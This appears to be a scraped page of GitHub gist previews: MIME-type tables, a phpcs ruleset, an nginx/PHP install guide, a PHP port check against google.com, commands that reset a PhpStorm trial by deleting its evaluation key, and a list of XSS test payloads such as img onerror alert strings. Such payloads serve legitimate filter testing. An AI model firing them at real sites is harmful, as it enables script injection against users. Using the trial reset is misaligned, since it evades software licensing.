This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd ~/.PhpStorm[version] | |
rm config/eval/PhpStorm[version].evaluation.key | |
rm config/options/options.xml | |
cd ~/.java/.userPrefs/jetbrains | |
rm -rf phpstorm |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const applicationTypesExt = { | |
'a' : 'application/octet-stream', | |
'ai' : 'application/postscript', | |
'bin' : 'application/octet-stream', | |
'cdf' : 'application/x-cdf', | |
'csh' : 'application/x-csh', | |
'dll' : 'application/octet-stream', | |
'doc' : 'application/msword', | |
'dot' : 'application/msword', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//lsauer.com 2012 | |
//description: comprehensive list of MIME types / subtypes as a tab-separated flatfile | |
//source: W3C | |
extension mime | |
.3dm x-world/x-3dmf | |
.3dmf x-world/x-3dmf | |
.a application/octet-stream | |
.aab application/x-authorware-bin | |
.aam application/x-authorware-map |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//lsauer.com 2012 | |
//description: comprehensive list of MIME types / subtypes as a tab-separated flatfile | |
//source: W3C | |
extension mime | |
.3dm x-world/x-3dmf | |
.3dmf x-world/x-3dmf | |
.a application/octet-stream | |
.aab application/x-authorware-bin | |
.aam application/x-authorware-map |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"lsauer.com , lo sauer 2013" | |
"JavaScript List of selected MIME types" | |
"A comprehensive MIME List is available here: https://gist.github.com/lsauer/2838503" | |
"mime": { | |
"a": "application/octet-stream", | |
"ai": "application/postscript", | |
"aif": "audio/x-aiff", | |
"aifc": "audio/x-aiff", | |
"aiff": "audio/x-aiff", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//lsauer.com , lo sauer 2013 | |
//JavaScript List of selected MIME types | |
//A comprehensive MIME List is available here: https://gist.github.com/lsauer/2838503 | |
var mimeTypes = | |
{ | |
'a' : 'application/octet-stream', | |
'ai' : 'application/postscript', | |
'aif' : 'audio/x-aiff', | |
'aifc' : 'audio/x-aiff', | |
'aiff' : 'audio/x-aiff', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('max_execution_time', 0); | |
ini_set('memory_limit', -1); | |
$host = 'google.com'; | |
$ports = array(21, 25, 80, 81, 110, 143, 443, 587, 2525, 3306); | |
foreach ($ports as $port) | |
{ | |
$connection = @fsockopen($host, $port, $errno, $errstr, 2); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<ruleset name="PHP_Codeer" xsi:noNamespaceSchemaLocation="phpcs.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> | |
<description>The coding standard for PHP_Codeer itself.</description> | |
<!-- Files --> | |
<file>bin</file> | |
<file>src</file> | |
<!-- Excludes --> | |
<exclude-pattern>vendor/</exclude-pattern> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Step by step installation guide for nginx + PHP 7.1 on CentOS 7 | |
1. Add and enable Remi repos | |
yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm | |
yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm | |
yum install yum-utils | |
yum-config-manager --enable remi-php71 | |
2. Install php 7.1 and required modules | |
yum install php71-php-fpm |
NewerOlder